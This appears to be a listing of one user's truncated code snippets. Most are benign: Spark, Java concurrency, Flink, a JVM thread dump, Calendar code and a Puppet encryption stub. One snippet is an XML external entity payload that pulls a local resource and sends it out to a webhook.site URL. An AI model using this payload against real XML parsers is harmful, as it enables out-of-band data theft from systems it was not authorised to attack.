jelmerk

import org.apache.spark.sql.SparkSession
import org.apache.spark.sql.functions._

object Foo extends App {

  val spark = SparkSession.builder().master("local[*]").getOrCreate()

  import spark.implicits._

  spark.read.text("/Users/jkuperus/dev/playground/advent-of-code-2023/scala/src/main/resources/day2/input_a.txt")

jelmerk

import org.eclipse.collections.api.map.primitive.IntIntMap;
import org.eclipse.collections.api.map.primitive.MutableIntIntMap;
import org.eclipse.collections.api.map.primitive.MutableIntObjectMap;
import org.eclipse.collections.impl.map.mutable.primitive.IntIntHashMap;
import org.eclipse.collections.impl.map.mutable.primitive.IntObjectHashMap;

import java.io.*;
import java.util.*;

/**

jelmerk

import breeze.linalg._
import breeze.linalg.eig.Eig
import breeze.numerics._
import org.apache.spark.ml.clustering.KMeans
import org.apache.spark.ml.linalg.{Vectors, DenseVector => SparkDenseVector, Vector => SparkVector}
import com.holdenkarau.spark.testing.DataFrameSuiteBase
import org.scalatest.FunSuite

jelmerk

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.locks.ReentrantLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;

public class Foo {

    ReentrantReadWriteLock readWriteLock = new ReentrantReadWriteLock();
    ReentrantReadWriteLock.ReadLock readLock = readWriteLock.readLock();
    ReentrantReadWriteLock.WriteLock writeLock = readWriteLock.writeLock();

jelmerk

<!ENTITY % payl SYSTEM "http://localhost:1234">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'https://webhook.site/b2f18246-abf9-4689-9e2c-db46bb845c21?%payl;'>">

jelmerk

package com.ecg.foo

import java.io.Serializable

import org.apache.flink.api.scala._
import org.apache.flink.streaming.api.TimeCharacteristic
import org.apache.flink.streaming.api.datastream.DataStreamSink
import org.apache.flink.streaming.api.scala.StreamExecutionEnvironment
import org.apache.flink.streaming.api.windowing.assigners.TumblingProcessingTimeWindows
import org.apache.flink.streaming.api.windowing.time.Time

jelmerk

import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;

public class Hiker {
    
    private static final class MyRunnable implements Runnable {

        private final CountDownLatch latch;
        private final long timeToSpendInThread;

jelmerk

"main" prio=5 tid=7fd9c0800800 nid=0x10cc09000 runnable [10cc07000]
   java.lang.Thread.State: RUNNABLE
  at java.io.FileInputStream.read(Native Method)
	at jline.Terminal.readCharacter(Terminal.java:99)
	at jline.UnixTerminal.readVirtualKey(UnixTerminal.java:128)
	at jline.ConsoleReader.readVirtualKey(ConsoleReader.java:1453)
	at sbt.PlayCommands$class.waitEOF$1(PlayCommands.scala:38)
	at sbt.PlayCommands$class.sbt$PlayCommands$$waitForKey(PlayCommands.scala:46)
	at sbt.PlayCommands$$anonfun$61$$anonfun$63.apply(PlayCommands.scala:678)
	at sbt.PlayCommands$$anonfun$61$$anonfun$63.apply(PlayCommands.scala:534)

jelmerk

import java.util.Calendar;
import java.util.GregorianCalendar;

public class Main {

    public static void main(String[] args) {
        Calendar result = new GregorianCalendar();
        result.setFirstDayOfWeek(Calendar.MONDAY);
        result.setLenient(false);
        result.set(Calendar.YEAR, 2004);

jelmerk

module Puppet::Parser::Functions
  newfunction(:aes_encrypt, :type => :rvalue) do |args|

    clear_text = args[0]
    passphrase = args[1]

     .....
  end
end